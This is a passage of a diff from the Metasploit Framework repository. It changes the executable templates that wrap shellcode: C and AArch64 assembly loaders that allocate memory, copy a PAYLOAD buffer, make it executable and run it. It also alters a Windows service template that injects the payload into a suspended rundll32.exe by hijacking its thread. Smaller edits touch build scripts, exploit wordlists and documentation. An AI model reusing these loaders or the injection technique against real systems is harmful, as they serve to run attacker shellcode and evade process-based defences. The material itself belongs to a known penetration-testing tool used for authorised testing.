-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-				TargetEnvironment="3"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="3"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				DebugInformationFormat="3"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				LinkIncremental="2"
-				GenerateDebugInformation="true"
-				SubSystem="2"
-				TargetMachine="17"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Release|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="1"
-			CharacterSet="2"
-			WholeProgramOptimization="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="1"
-				EnableIntrinsicFunctions="true"
-				FavorSizeOrSpeed="2"
-				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS"
-				RuntimeLibrary="0"
-				BufferSecurityCheck="false"
-				EnableFunctionLevelLinking="true"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				DebugInformationFormat="3"
-				CallingConvention="2"
-				CompileAs="1"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				OutputFile="../../../../service.exe"
-				LinkIncremental="1"
-				GenerateManifest="false"
-				GenerateDebugInformation="false"
-				SubSystem="2"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Release|x64"
-			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
-			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
-			ConfigurationType="1"
-			CharacterSet="2"
-			WholeProgramOptimization="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-				TargetEnvironment="3"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="1"
-				EnableIntrinsicFunctions="true"
-				FavorSizeOrSpeed="2"
-				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS"
-				RuntimeLibrary="0"
-				BufferSecurityCheck="false"
-				EnableFunctionLevelLinking="true"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				DebugInformationFormat="3"
-				CallingConvention="2"
-				CompileAs="1"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				OutputFile="../../../../template_x64_windows_svc.exe"
-				LinkIncremental="1"
-				GenerateManifest="false"
-				GenerateDebugInformation="false"
-				SubSystem="2"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				TargetMachine="17"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-	</Configurations>
-	<References>
-	</References>
-	<Files>
-		<Filter
-			Name="Source Files"
-			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
-			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
-			>
-			<File
-				RelativePath=".\service.c"
-				>
-			</File>
-		</Filter>
-	</Files>
-	<Globals>
-	</Globals>
-</VisualStudioProject>

data/templates/src/pe/exe/template.c

@@ -1,11 +1,11 @@
-#include <stdio.h>
+#include <windows.h>
 
 #define SCSIZE 4096
-char payload[SCSIZE] = "PAYLOAD:";
+char bPayload[SCSIZE] = "PAYLOAD:";
 
-char comment[512] = "";
-
-int main(int argc, char **argv) {
-	(*(void (*)()) payload)();
-	return(0);
+void main() {
+	DWORD dwOldProtect;
+	VirtualProtect(bPayload, SCSIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect);
+	(*(void (*)()) bPayload)();
+	return;
 }

data/templates/src/pe/exe/template_aarch64_windows.asm

@@ -0,0 +1,98 @@
+;
+; A minimal AArch64 PE template for Metasploit shellcode
+; Author: Alexander 'xaitax' Hagenah
+;
+; --- Compilation (Microsoft Visual Studio Build Tools) ---
+; 1. Assemble:
+;    armasm64.exe -o template_aarch64_windows.obj template_aarch64_windows.asm
+;
+; 2. Link:
+;    LINK.exe template_aarch64_windows.obj /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB kernel32.lib /OUT:template_aarch64_windows.exe
+;
+;
+; --- Cross Compilation (Microsoft Visual Studio Build Tools) ---
+; 1. Locate Cross Compiler Tools and Libraries
+;     In this case: C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\
+;     And: C:\Program Files (x86)\Windows Kits\10\Lib\10.0.26100.0\um\arm64
+; 2. Assemble:
+;    "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\armasm64.exe" -o template_aarch64_windows.obj template_aarch64_windows.asm
+; 3. Link:
+;    "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\link.exe"  template_aarch64_windows.obj /LIBPATH:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.26100.0\um\arm64" /MACHINE:ARM64 /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB kernel32.lib /OUT:template_aarch64_windows.exe
+        AREA    |.text|, CODE, READONLY
+
+; Import the Win32 functions we need from kernel32.dll
+        IMPORT  VirtualAlloc
+        IMPORT  VirtualProtect
+        IMPORT  ExitProcess
+
+; Define constants for Win32 API calls
+SCSIZE          EQU     4096
+MEM_COMMIT      EQU     0x1000
+PAGE_READWRITE  EQU     0x04
+PAGE_EXECUTE    EQU     0x10
+
+; Export the entry point of our program
+        EXPORT main
+
+main
+        ; Allocate space on the stack for the oldProtection variable (DWORD)
+        sub     sp, sp, #16
+        
+        ; --- 1. Allocate executable memory ---
+        ; hfRet = VirtualAlloc(NULL, SCSIZE, MEM_COMMIT, PAGE_READWRITE);
+        mov     x0, #0
+        mov     x1, #SCSIZE
+        mov     x2, #MEM_COMMIT
+        mov     x3, #PAGE_READWRITE
+        ldr     x8, =VirtualAlloc
+        blr     x8
+
+        ; Check if VirtualAlloc failed. If so, exit.
+        cbz     x0, exit_fail
+
+        ; Save the pointer to our new executable buffer in a non-volatile register
+        mov     x19, x0
+
+        ; --- 2. Copy the payload into the new buffer ---
+        ; This is a simple memcpy(dest, src, size)
+        mov     x0, x19                 ; x0 = dest = our new buffer
+        ldr     x1, =payload_buffer     ; x1 = src = the payload in our .data section
+        mov     x2, #SCSIZE             ; x2 = count
+copy_loop
+        ldrb    w3, [x1], #1            ; Load byte from src, increment src pointer
+        strb    w3, [x0], #1            ; Store byte to dest, increment dest pointer
+        subs    x2, x2, #1              ; Decrement counter
+        b.ne    copy_loop               ; Loop if not zero
+
+        ; --- 3. Change memory permissions to executable ---
+        ; VirtualProtect(hfRet, SCSIZE, PAGE_EXECUTE, &dwOldProtect);
+        mov     x0, x19                 ; x0 = buffer address
+        mov     x1, #SCSIZE             ; x1 = size
+        mov     x2, #PAGE_EXECUTE       ; x2 = new protection
+        mov     x3, sp                  ; x3 = pointer to oldProtection on the stack
+        ldr     x8, =VirtualProtect
+        blr     x8
+
+        ; --- 4. Execute the payload ---
+        ; Jump to the shellcode we just copied and protected.
+        blr     x19
+
+exit_success
+        ; Shellcode returned, or we are done. Exit cleanly.
+        mov     x0, #0                  ; Exit code 0
+        ldr     x8, =ExitProcess
+        blr     x8
+        
+exit_fail
+        ; Something went wrong. Exit with code 1.
+        mov     x0, #1
+        ldr     x8, =ExitProcess
+        blr     x8
+
+; The data section where the payload will be located.
+; The 'PAYLOAD:' tag must be at the very beginning of this buffer.
+payload_buffer
+        DCB     "PAYLOAD:"
+        SPACE   SCSIZE - 8 ; Reserve the rest of the 4096 bytes
+
+        END

data/templates/src/pe/exe/template_aarch64_windows.c

@@ -0,0 +1,69 @@
+// AArch64 PE EXE Template for Metasploit Framework
+//
+// -----------------------------------------------------------------------------
+//
+// Compilation Instructions:
+//
+//   Using MSVC on a Windows ARM64 Host:
+//
+//   cl.exe /nologo /O2 /W3 /GS- /D_WIN64 template_aarch64_windows.c /link ^
+//   /subsystem:windows /machine:arm64 /entry:main ^
+//   /out:template_aarch64_windows.exe kernel32.lib
+//
+// -----------------------------------------------------------------------------
+
+#define WIN32_LEAN_AND_MEAN
+#include <windows.h>
+#undef WIN32_LEAN_AND_MEAN
+
+#define PAYLOAD_MARKER "PAYLOAD:"
+#define SCSIZE 8192
+
+char payload[SCSIZE] = PAYLOAD_MARKER;
+
+int main(void)
+{
+    void *exec_mem;
+    DWORD old_prot;
+    HANDLE hThread;
+
+    // Stage 1: Allocate a block of memory. We request READWRITE permissions
+    // initially so we can copy our payload into it.
+    exec_mem = VirtualAlloc(NULL, SCSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
+    if (exec_mem == NULL)
+    {
+        // Fail silently if allocation fails.
+        return 1;
+    }
+
+    // Stage 2: Copy the payload from our data section into the new memory block.
+    // A simple loop is used for maximum compiler compatibility and to avoid
+    // needing extra headers like <string.h> for memcpy.
+    for (int i = 0; i < SCSIZE; i++)
+    {
+        ((char *)exec_mem)[i] = payload[i];
+    }
+
+    // Stage 3: Change the memory's protection flags from READWRITE to
+    // EXECUTE_READ.
+    if (VirtualProtect(exec_mem, SCSIZE, PAGE_EXECUTE_READ, &old_prot) == FALSE)
+    {
+        // Fail silently if we cannot make the memory executable.
+        return 1;
+    }
+
+    // Stage 4: Execute the shellcode.
+    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
+    if (hThread)
+    {
+        WaitForSingleObject(hThread, INFINITE);
+        CloseHandle(hThread);
+    }
+    else
+    {
+        // As a fallback in case CreateThread fails, call the shellcode directly.
+        ((void (*)())exec_mem)();
+    }
+
+    return 0;
+}

data/templates/src/pe/exe/template_x64_windows.asm

@@ -1,32 +0,0 @@
-; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
-; Architecture: x64
-;
-; Assemble and link with the following command:
-; "C:\Program Files\Microsoft Visual Studio 9.0\VC\bin\x86_amd64\ml64" template_x64_windows.asm /link /subsystem:windows /defaultlib:"C:\Program Files\Microsoft SDKs\Windows\v6.0A\Lib\x64\kernel32.lib" /entry:main 
-
-extrn ExitProcess : proc
-extrn VirtualAlloc : proc
-
-.code
-
-	main proc 
-		sub rsp, 40        ;
-		mov r9, 40h        ; 
-		mov r8, 3000h      ; 
-		mov rdx, 4096      ; 
-		xor rcx, rcx       ; 
-		call VirtualAlloc  ; lpPayload = VirtualAlloc( NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );
-		mov rcx, 4096      ;
-		mov rsi, payload   ;
-		mov rdi, rax       ;
-		rep movsb          ; memcpy( lpPayload, payload, 4096 );
-		call rax           ; lpPayload();
-		xor rcx, rcx       ;
-		call ExitProcess   ; ExitProcess( 0 );
-	main endp
-	
-	payload proc
-		A byte 'PAYLOAD:'
-		B db 4096-8 dup ( 0 )
-	payload endp
-end

data/templates/src/pe/exe_service/build.bat

@@ -0,0 +1,13 @@
+@echo off
+
+if "%~1"=="" GOTO NO_ARGUMENTS
+echo Compiling for: %1
+call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
+cl /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows_svc.exe /link advapi32.lib kernel32.lib /entry:main /subsystem:WINDOWS /NODEFAULTLIB
+exit /B
+
+:NO_ARGUMENTS
+%COMSPEC% /c "%0" x86
+%COMSPEC% /c "%0" x64
+del  *.obj *.res
+move *.exe ..\..\..

data/templates/src/pe/exe_service/template.c

@@ -1,16 +1,28 @@
 #define WIN32_LEAN_AND_MEAN
 #include <windows.h>
 
-#define PAYLOAD_SIZE	8192
+#define SCSIZE 8192
 
 char cServiceName[32] = "SERVICENAME";
 
-char bPayload[PAYLOAD_SIZE] = "PAYLOAD:";
+char bPayload[SCSIZE] = "PAYLOAD:";
 
 SERVICE_STATUS ss;
 
 SERVICE_STATUS_HANDLE hStatus = NULL;
 
+#if BUILDMODE == 2
+/* hand-rolled bzero allows us to avoid including ms vc runtime */
+void inline_bzero(void *p, size_t l)
+{
+	BYTE *q = (BYTE *)p;
+	size_t x = 0;
+	for (x = 0; x < l; x++)
+		*(q++) = 0x00;
+}
+
+#endif
+
 /*
  *
  */
@@ -34,9 +46,9 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
 	PROCESS_INFORMATION pi;
 	LPVOID lpPayload = NULL;
 
-	ZeroMemory( &ss, sizeof(SERVICE_STATUS) );
-	ZeroMemory( &si, sizeof(STARTUPINFO) );
-	ZeroMemory( &pi, sizeof(PROCESS_INFORMATION) );
+	inline_bzero( &ss, sizeof(SERVICE_STATUS) );
+	inline_bzero( &si, sizeof(STARTUPINFO) );
+	inline_bzero( &pi, sizeof(PROCESS_INFORMATION) );
 
 	si.cb = sizeof(STARTUPINFO);
 
@@ -47,7 +59,7 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
 	ss.dwControlsAccepted = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_SHUTDOWN;
 
 	hStatus = RegisterServiceCtrlHandler( (LPCSTR)&cServiceName, (LPHANDLER_FUNCTION)ServiceHandler );
-  
+
 	if ( hStatus )
 	{
 		ss.dwCurrentState = SERVICE_RUNNING;
@@ -57,30 +69,30 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
 		if( CreateProcess( NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )
 		{
 			Context.ContextFlags = CONTEXT_FULL;
-		  
+
 			GetThreadContext( pi.hThread, &Context );
-		  
-			lpPayload = VirtualAllocEx( pi.hProcess, NULL, PAYLOAD_SIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );
+
+			lpPayload = VirtualAllocEx( pi.hProcess, NULL, SCSIZE, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE );
 			if( lpPayload )
 			{
-				WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, PAYLOAD_SIZE, NULL );
+				WriteProcessMemory( pi.hProcess, lpPayload, &bPayload, SCSIZE, NULL );
 #ifdef _WIN64
-				Context.Rip = (DWORD64)lpPayload;
+				Context.Rip = (ULONG_PTR)lpPayload;
 #else
-				Context.Eip = (DWORD)lpPayload;
+				Context.Eip = (ULONG_PTR)lpPayload;
 #endif
 				SetThreadContext( pi.hThread, &Context );
 			}
 
 			ResumeThread( pi.hThread );
-			
+
 			CloseHandle( pi.hThread );
-		  
+
 			CloseHandle( pi.hProcess );
 		}
-		
+
 		ServiceHandler( SERVICE_CONTROL_STOP );
-		
+
 		ExitProcess( 0 );
 	}
 }
@@ -88,12 +100,13 @@ VOID ServiceMain( DWORD dwNumServicesArgs, LPSTR * lpServiceArgVectors )
 /*
  *
  */
-int __stdcall WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
+void main()
 {
-	SERVICE_TABLE_ENTRY st[] = 
-    { 
-        { (LPSTR)&cServiceName, (LPSERVICE_MAIN_FUNCTIONA)&ServiceMain }, 
-        { NULL, NULL } 
-    };
-	return StartServiceCtrlDispatcher( (SERVICE_TABLE_ENTRY *)&st );
+	SERVICE_TABLE_ENTRY st[] =
+		{
+			{ (LPSTR)&cServiceName, (LPSERVICE_MAIN_FUNCTIONA)&ServiceMain },
+			{ NULL, NULL }
+		};
+	StartServiceCtrlDispatcher( (SERVICE_TABLE_ENTRY *)&st );
+	return;
 }

data/wordlists/named_pipes.txt

@@ -24,3 +24,4 @@ wkssvc
 PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
 db2remotecmd
 CxUIUSvcChannel
+cert

data/wordlists/wp-exploitable-plugins.txt

@@ -46,6 +46,7 @@ slideshow-gallery
 sp-client-document-manager
 subscribe-to-comments
 suretriggers
+tatsu
 ultimate-member
 user-registration
 user-registration-pro

db/schema.rb

@@ -10,7 +10,7 @@
 #
 # It's strongly recommended that you check this file into your version control system.
 
-ActiveRecord::Schema[7.1].define(version: 2025_02_04_172657) do
+ActiveRecord::Schema[7.2].define(version: 2025_02_04_172657) do
   # These are extensions that must be enabled in order to support this database
   enable_extension "plpgsql"
 
@@ -803,5 +803,4 @@ ActiveRecord::Schema[7.1].define(version: 2025_02_04_172657) do
     t.boolean "limit_to_network", default: false, null: false
     t.boolean "import_fingerprint", default: false
   end
-
 end

docker/README.md

@@ -57,4 +57,4 @@ override.
 ```bash
 echo "COMPOSE_FILE=./docker-compose.yml:./docker-compose.override.yml:./docker-compose.local.override.yml" >> .env
 ```
-Now you should be able get reverse shells working
+Now you should be able to get reverse shells working

docs/.ruby-version

@@ -1 +1 @@
-3.2.5
+3.3.8

docs/_includes/title.html

@@ -1 +1 @@
-Metasploit Documentation
+<img src="{{ '/assets/images/metasploit-logo-dark-external-use.svg' | relative_url }}" alt="Metasploit Logo" class="title-logo" />

docs/_plugins/metasploit_console_language.rb

@@ -17,7 +17,7 @@ module Rouge
     SHORTNAME = 'z'
 
     token :Msf, SHORTNAME do
-      # prompt - msf / msf5 / msf6 / meterpreter
+      # prompt - msf / meterpreter
       token :Prompt, "#{SHORTNAME}p"
       # [-]
       token :Error, "#{SHORTNAME}e"
@@ -49,7 +49,7 @@ module Rouge
       state :root do
         mixin :whitespace
 
-        # Match msf, msf5, msf6, meterpreter
+        # Match msf, meterpreter
         rule %r{^(msf\d?|meterpreter)}, Tokens::Msf::Prompt, :msf_prompt
         rule %r{^\[-\]}, Tokens::Msf::Error
         rule %r{^\[\+\]}, Tokens::Msf::Good
@@ -59,7 +59,7 @@ module Rouge
       end
 
       # State for highlighting the prompt such as
-      # msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) >
+      # msf auxiliary(admin/dcerpc/cve_2022_26923_certifried) >
       state :msf_prompt do
         mixin :whitespace
 

docs/assets/css/main.css

@@ -5,6 +5,11 @@
     text-align: justify;
 }
 
+/* Site logo */
+.title-logo {
+    width: 220px;
+}
+
 /* Color highlighting for msf console text */
 .language-mermaid .label {
     text-transform: inherit;

docs/metasploit-framework.wiki/Contact.md

@@ -1,18 +1,38 @@
-# Chat
+# Primary Communication Channels
 
-A lot of our discussion happens on IRC in #metasploit on Freenode.
+## GitHub Discussions
+For community support, questions, and general discussion, visit our [GitHub Discussions](https://github.com/rapid7/metasploit-framework/discussions).
+
+## Slack
+Join the [Metasploit Slack](https://join.slack.com/t/metasploit/shared_invite/zt-30i688it0-mJsFGT44IMtdeZi1DraamQ) for real-time chat with the community and developers.
+
+## GitHub Issues
+Submit bug reports and feature requests through [GitHub Issues](https://github.com/rapid7/metasploit-framework/issues).
+
+# Additional Communication Channels
+
+## Chat
+
+Some community discussion still happens on IRC in #metasploit on Freenode.
 Please be patient and hang around for a while -- not everyone is awake
 at the same time as you. =)
 
-# Mailing list
+## Mailing list
 
 The Metasploit development mailing list used to be hosted on SourceForge, but is now on Google Groups. Metasploit Hackers is dead, long live [Metasploit Hackers][list]. (Or [mailto:Metasploit Hackers][mailto]).
 
 The old list [is archived on seclists.org][archive].
 
+## Social Media
+
+- **X**: [@metasploit](https://x.com/metasploit)
+- **Mastodon**: [@metasploit@infosec.exchange](https://infosec.exchange/@metasploit)
+- **Blog**: [Rapid7 Blog - Metasploit Tag](https://www.rapid7.com/blog/tag/metasploit/)
+- **YouTube**: [Metasploit YouTube](https://youtube.com/@MetasploitR7)
+
 # Abuse
 
-Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to msfdev@metasploit.com which goes to all the current committers. If the incident involves a committer, you may report directly to caitlin_condon@rapid7.com or todb@metasploit.com.
+Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to msfdev@metasploit.com which goes to all the current committers. If the incident involves a committer, you may report directly to smcintyre@metasploit.com or jacquelyn_harris@rapid7.com.
 
 
 [archive]: http://seclists.org/metasploit/ "Metasploit mailing list archive"

docs/metasploit-framework.wiki/Downloads-by-Version.md

@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/
 
 | Download Link                                                                                                                                                |File Type| SHA                                                                                                                       | PGP                                                                                                                      |
 |--------------------------------------------------------------------------------------------------------------------------------------------------------------|-|---------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|
-| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe)                    | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256)               | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)                    |
-| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run)                          | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256)                 | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)                      |
+| [metasploit-4.22.8-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe)                    | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256)               | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)                    |
+| [metasploit-4.22.8-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run)                          | Linux 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256)                 | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)                      |
+| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-windows-x64-installer.exe.asc) |
+| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run)     | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run.sha1)  | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.7-2025061901-linux-x64-installer.run.asc)   |
 | [metasploit-4.22.6-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.asc) |
 | [metasploit-4.22.6-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run)     | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.sha1)  | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.asc)   |
 | [metasploit-4.22.5-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.asc) |

docs/metasploit-framework.wiki/Evading-Anti-Virus.md

@@ -6,4 +6,4 @@
 * [Facts and myths about antivirus evasion with Metasploit](http://schierlm.users.sourceforge.net/avevasion.html)
 * [Using metasm to avoid antivirus detection ghost writing asm](https://web.archive.org/web/20200330111926/https://www.pentestgeek.com/penetration-testing/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm)
 
-There are approximately 14 million other resources out there on the why's and wherefores of evading antivirus, but the about articles should get you started.
+There are approximately 14 million other resources out there on the why's and wherefores of evading antivirus, but the above articles should get you started.

docs/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md

@@ -110,7 +110,7 @@ end
 
     * **Stability** - The Stability field describes how the exploit affects the system it's being run on, ex: `CRASH_SAFE`, `CRASH_OS_DOWN`
     * **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION`
-    * **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
+    * **SideEffects** - The SideEffects field describes the side effects caused by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
 
 ### Non-required fields
 

docs/metasploit-framework.wiki/Guidelines-for-Writing-Modules-with-SMB.md

@@ -290,7 +290,7 @@ end
 msfconsole output:
 
 ```msf
-msf6 exploit(windows/smb/msf_smb_client_test) > options
+msf exploit(windows/smb/msf_smb_client_test) > options
 
 Module options (exploit/windows/smb/msf_smb_client_test):
 
@@ -319,7 +319,7 @@ Exploit target:
    0   Windows
 
 
-msf6 exploit(windows/smb/msf_smb_client_test) > run
+msf exploit(windows/smb/msf_smb_client_test) > run
 
 [*] Started reverse SSL handler on 172.16.60.1:4444
 [*] 172.16.60.128:445 - Create and write to Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share
@@ -407,7 +407,7 @@ end
 msfconsole output:
 
 ```msf
-msf6 exploit(windows/smb/ruby_smb_client_test) > options
+msf exploit(windows/smb/ruby_smb_client_test) > options
 
 Module options (exploit/windows/smb/ruby_smb_client_test):
 
@@ -436,7 +436,7 @@ Exploit target:
    0   Windows
 
 
-msf6 exploit(windows/smb/ruby_smb_client_test) > run
+msf exploit(windows/smb/ruby_smb_client_test) > run
 
 [*] Started reverse SSL handler on 172.16.60.1:4444
 [*] 172.16.60.128:445 - Create and write to Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share

docs/metasploit-framework.wiki/Hashes-and-Password-Cracking.md

@@ -18,7 +18,7 @@ puts identify_hash "_9G..8147mpcfKT8g0U."
 ```
 In practice, we receive the following output from this:
 ```ruby
-msf5 > irb
+msf > irb
 [*] Starting IRB shell...
 [*] You are in the "framework" object
 

docs/metasploit-framework.wiki/How-To-Use-Plugins.md

@@ -4,7 +4,7 @@ They are designed to have a very loose definition in order to make them as usefu
 Plugins are not available by default, they need to be loaded:
 
 ```msf
-msf6 > load plugin_name
+msf > load plugin_name
 ```
 
 Plugins can be automatically loaded and configured on msfconsole's start up by configuring a custom `~/.msf4/msfconsole.rc` file:
@@ -61,9 +61,9 @@ The current available plugins for Metasploit can be found by running the `load -
 The Alias plugin adds the ability to alias console commands:
 
 ```msf
-msf6 > load alias
+msf > load alias
 [*] Successfully loaded plugin: alias
-msf6 > alias -h
+msf > alias -h
